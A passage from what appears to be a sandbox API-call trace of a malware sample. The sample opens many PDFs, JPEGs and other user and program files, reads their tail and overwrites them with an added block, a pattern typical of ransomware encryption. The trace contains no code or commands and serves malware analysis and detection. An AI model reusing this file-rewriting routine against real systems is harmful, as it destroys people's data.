"c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0042.522] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.522] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xe5af [0042.522] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.522] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.522] ReleaseMutex (hMutex=0x128) returned 1 [0042.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0042.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e6320c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0042.522] ReadFile (in: hFile=0x170, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.523] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xd5af [0042.523] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.525] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xd5af [0042.525] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.525] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0042.525] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.525] CloseHandle (hObject=0x170) returned 1 [0042.525] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0042.526] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.526] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x80f5 [0042.526] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.526] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.526] ReleaseMutex (hMutex=0x128) returned 1 [0042.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.527] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x1e6306c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0042.527] ReadFile (in: hFile=0x170, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.528] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x70f5 [0042.529] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.530] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x70f5 [0042.530] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.530] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0042.530] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.530] CloseHandle (hObject=0x170) returned 1 [0042.530] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\l8VJyemQf4ukRQ.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\l8vjyemqf4ukrq.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0042.530] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.530] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x3ce2 [0042.530] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.530] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.530] ReleaseMutex (hMutex=0x128) returned 1 [0042.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="l8VJyemQf4ukRQ.pdf", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0042.531] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="l8VJyemQf4ukRQ.pdf", cchWideChar=18, lpMultiByteStr=0x1e786cc, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="l8VJyemQf4ukRQ.pdf", lpUsedDefaultChar=0x0) returned 18 [0042.531] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.531] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2ce2 [0042.531] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.531] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x2ce2 [0042.532] WriteFile (in: hFile=0x170, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.532] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0042.532] WriteFile (in: hFile=0x170, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.532] CloseHandle (hObject=0x170) returned 1 [0042.532] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0042.533] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.533] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x2949 [0042.533] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.533] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.533] ReleaseMutex (hMutex=0x128) returned 1 [0042.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SoftBlue.jpg", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0042.533] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SoftBlue.jpg", cchWideChar=12, lpMultiByteStr=0x1e6306c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SoftBlue.jpg", lpUsedDefaultChar=0x0) returned 12 [0042.533] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.534] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1949 [0042.534] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.535] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x1949 [0042.535] WriteFile (in: hFile=0x170, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.535] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0042.535] WriteFile (in: hFile=0x170, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.535] CloseHandle (hObject=0x170) returned 1 [0042.536] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\-ZCTDt.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\-zctdt.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0042.536] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.536] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xc308 [0042.536] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.536] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.536] ReleaseMutex (hMutex=0x128) returned 1 [0042.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="-ZCTDt.jpg", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0042.536] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="-ZCTDt.jpg", cchWideChar=10, lpMultiByteStr=0x1e6320c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="-ZCTDt.jpg", lpUsedDefaultChar=0x0) returned 10 [0042.536] ReadFile (in: hFile=0x170, lpBuffer=0x2763ff8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesRead=0x304f278*=0x4000, lpOverlapped=0x0) returned 1 [0042.537] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xb308 [0042.537] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.537] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xb308 [0042.537] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.537] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0042.537] WriteFile (in: hFile=0x170, lpBuffer=0x25c3da8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesWritten=0x304f28c*=0x4000, lpOverlapped=0x0) returned 1 [0042.538] CloseHandle (hObject=0x170) returned 1 [0042.538] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0042.538] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.538] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x780 [0042.538] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.538] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.538] ReleaseMutex (hMutex=0x128) returned 1 [0042.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Roses.jpg", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0042.538] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Roses.jpg", cchWideChar=9, lpMultiByteStr=0x1e6306c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Roses.jpg", lpUsedDefaultChar=0x0) returned 9 [0042.538] ReadFile (in: hFile=0x170, lpBuffer=0x3a45e18, nNumberOfBytesToRead=0x780, lpNumberOfBytesRead=0x304f2bc, lpOverlapped=0x0 | out: lpBuffer=0x3a45e18*, lpNumberOfBytesRead=0x304f2bc*=0x780, lpOverlapped=0x0) returned 1 [0042.540] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f300*=0) returned 0x0 [0042.540] WriteFile (in: hFile=0x170, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0xd08, lpNumberOfBytesWritten=0x304f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x304f2d0*=0xd08, lpOverlapped=0x0) returned 1 [0042.540] CloseHandle (hObject=0x170) returned 1 [0042.541] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0042.541] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.541] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0xbde6b [0042.541] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.541] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.541] ReleaseMutex (hMutex=0x128) returned 1 [0042.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Penguins.jpg", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0042.541] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Penguins.jpg", cchWideChar=12, lpMultiByteStr=0x1e6312c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Penguins.jpg", lpUsedDefaultChar=0x0) returned 12 [0042.541] ReadFile (in: hFile=0x170, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x304f278*=0xf000, lpOverlapped=0x0) returned 1 [0042.543] ReadFile (in: hFile=0x170, lpBuffer=0x27e6c98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.544] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xbce6b [0042.544] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.545] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0xbce6b [0042.546] WriteFile (in: hFile=0x170, lpBuffer=0x2763ff8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x2763ff8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.546] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0042.546] WriteFile (in: hFile=0x170, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x304f28c*=0xf000, lpOverlapped=0x0) returned 1 [0042.546] WriteFile (in: hFile=0x170, lpBuffer=0x27e6c98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x27e6c98*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.546] CloseHandle (hObject=0x170) returned 1 [0042.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x170 [0042.548] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.548] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x745e [0042.548] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f8c0*=0) returned 0x0 [0042.548] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0042.548] ReleaseMutex (hMutex=0x128) returned 1 [0042.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sybase.xsl", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0042.548] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Sybase.xsl", cchWideChar=10, lpMultiByteStr=0x1e6320c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Sybase.xsl", lpUsedDefaultChar=0x0) returned 10 [0042.548] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.812] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x645e [0042.812] ReadFile (in: hFile=0x170, lpBuffer=0x1d80018, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x304f278, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesRead=0x304f278*=0x1000, lpOverlapped=0x0) returned 1 [0042.826] SetFilePointer (in: hFile=0x170, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x304f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x304f2e8*=0) returned 0x645e [0042.826] WriteFile (in: hFile=0x170, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x304f28c*=0x1588, lpOverlapped=0x0) returned 1 [0042.826] SetFilePointer (in: hFile=0x170, lDistanceToMove=0, lpDistanceToMoveHigh=0x304f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x304f2bc*=0) returned 0x0 [0042.826] WriteFile (in: hFile=0x170, lpBuffer=0x1d80018*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x304f28c, lpOverlapped=0x0 | out: lpBuffer=0x1d80018*, lpNumberOfBytesWritten=0x304f28c*=0x1000, lpOverlapped=0x0) returned 1 [0042.826] CloseHandle (hObject=0x170) returned 1 [0042.827] CreateFileW (lpFileName="C:\\Program 